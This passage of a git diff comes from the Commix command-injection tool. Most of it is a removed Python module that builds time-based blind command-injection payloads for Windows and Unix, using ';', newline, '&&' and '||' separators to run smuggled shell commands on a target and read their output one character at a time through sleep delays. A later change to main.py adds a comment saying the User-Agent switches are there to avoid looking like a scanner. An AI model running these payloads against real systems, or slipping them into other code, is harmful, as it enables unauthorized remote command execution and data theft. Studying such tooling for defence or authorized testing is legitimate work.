OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" - if separator == "||" : - pipe = "|" - payload = (pipe + " " - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " - # Find the length of the output, using readline(). - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - - return payload - -""" -Execute shell commands on vulnerable host. -""" -def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" - "do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + - # Transform to ASCII - pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " - "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" - "do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + - # Transform to ASCII - ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " - "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + - # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + - # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str >" + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "[ " + str(j) + " -eq ${str1} ]" + separator + - "sleep " + str(timesec) + separator + - # Transform to ASCII - "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 >" + OUTPUT_TEXTFILE - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "echo $(" + cmd.rstrip() + ")>" + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + - "tr -d '\\n'" + pipe + "wc -c) ]" + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" - if separator == "||" : - pipe = "|" - payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - - return payload - -""" -Get the execution output, of shell execution. -""" -def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - pipe = "|" - payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + - # Use space as delimiter - "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + - pipe + "od -N 1 -i" + - pipe + "head -1" + - pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print ord(file.read().strip()[" + str(num_of_chars - 1) + "][0]); exit(0)\"" - if separator == "||" : - pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - else: - pass - - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - - return payload - -""" -Get the execution output, of shell execution. -""" -def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print file.readlines()[0][" + str(num_of_chars - 1) + "]; exit(0)\"" - if separator == "||" : - pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) - else: - pass - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - - return payload - -# eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index e4aec047f4..19279b8ea4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,534 +3,803 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re import os import sys -import errno -import random +import time from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 from socket import error as SocketError -from os.path import splitext -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import logs from src.utils import purge from src.utils import update from src.utils import common -from src.utils import version from src.utils import install from src.utils import crawler from src.utils import settings from src.utils import session_handler -from src.utils import simple_http_server -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor +from src.thirdparty.colorama import init +from src.core import startup +from src.core import options from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests +from src.core.requests import mining from src.core.requests import redirection -from src.core.requests import authentication -from src.core.injections.controller import checks -from src.core.injections.controller import parser -from src.core.injections.controller import controller +from src.core.requests import hooks +from src.core.controller import checks +from src.core.parse import request as parser +from src.core.controller import controller from src.thirdparty.six.moves import reload_module as _reload_module # Set default encoding _reload_module(sys) -#sys.setdefaultencoding(settings.UNICODE_ENCODING) if settings.IS_WINDOWS: import codecs # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) - # Use Colorama to make Termcolor work on Windows too :) - init() + # Use Colorama to make Termcolor work on Windows too :) - keep stripping if '--disable-coloring' set it. + from src.utils import colors + init(strip=(True if not colors.ENABLE_COLORING else None), convert=(False if not colors.ENABLE_COLORING else None)) + """ Define HTTP User-Agent header. """ -def user_agent_header(): - # Check if defined "--mobile" option. - if menu.options.mobile: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - menu.options.agent = menu.mobile_user_agents() - - # Check if defined "--random-agent" option. - if menu.options.random_agent: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: +def defined_http_headers(url): + # Note that headers of the user's own are going onto every request. + def extra_headers(): + if any((menu.options.header, menu.options.headers)): + settings.EXTRA_HTTP_HEADERS = True if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - else: - pass - try: - menu.options.agent = random.choice(settings.USER_AGENT_LIST) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - print(settings.print_info_msg(info_msg)) - except: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP User-Agent header." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting extra HTTP headers." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Say which cookie is being sent, where the run is verbose enough to care. + def cookie(): + if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.COOKIE + " header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Settle what the 'Referer' header carries, asking for one where the level calls for it. + def referer(url): + if menu.options.referer is None: + if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) + if menu.options.referer and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.REFERER + " header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Settle what the 'Host' header carries, defaulting to the target's own. + def host(url): + if menu.options.host is None: + menu.options.host = _urllib.parse.urlparse(url).netloc + if menu.options.host and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.HOST + " header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Settle what the 'User-Agent' header carries: the user's, a mobile one, or a random one. + def user_agent(): + # Determine which option is enabled + mobile_agent = menu.options.mobile + random_agent = menu.options.random_agent + custom_agent = menu.options.agent != settings.DEFAULT_USER_AGENT and not menu.options.requestfile + + # Final debug message + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP User-Agent header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Combined check for incompatible combinations + if (mobile_agent and (custom_agent or random_agent)) or (random_agent and (custom_agent or mobile_agent)): + if not any([settings.MULTI_TARGETS, settings.STDIN_PARSING]): + if mobile_agent: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + else: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Set the User-Agent + # Either switch puts a browser's own value in the header, so the headers that go with it are + # sent as that browser would send them - the point of both is to stop reading as a scanner. + if mobile_agent: + menu.options.agent = checks.mobile_user_agents() + 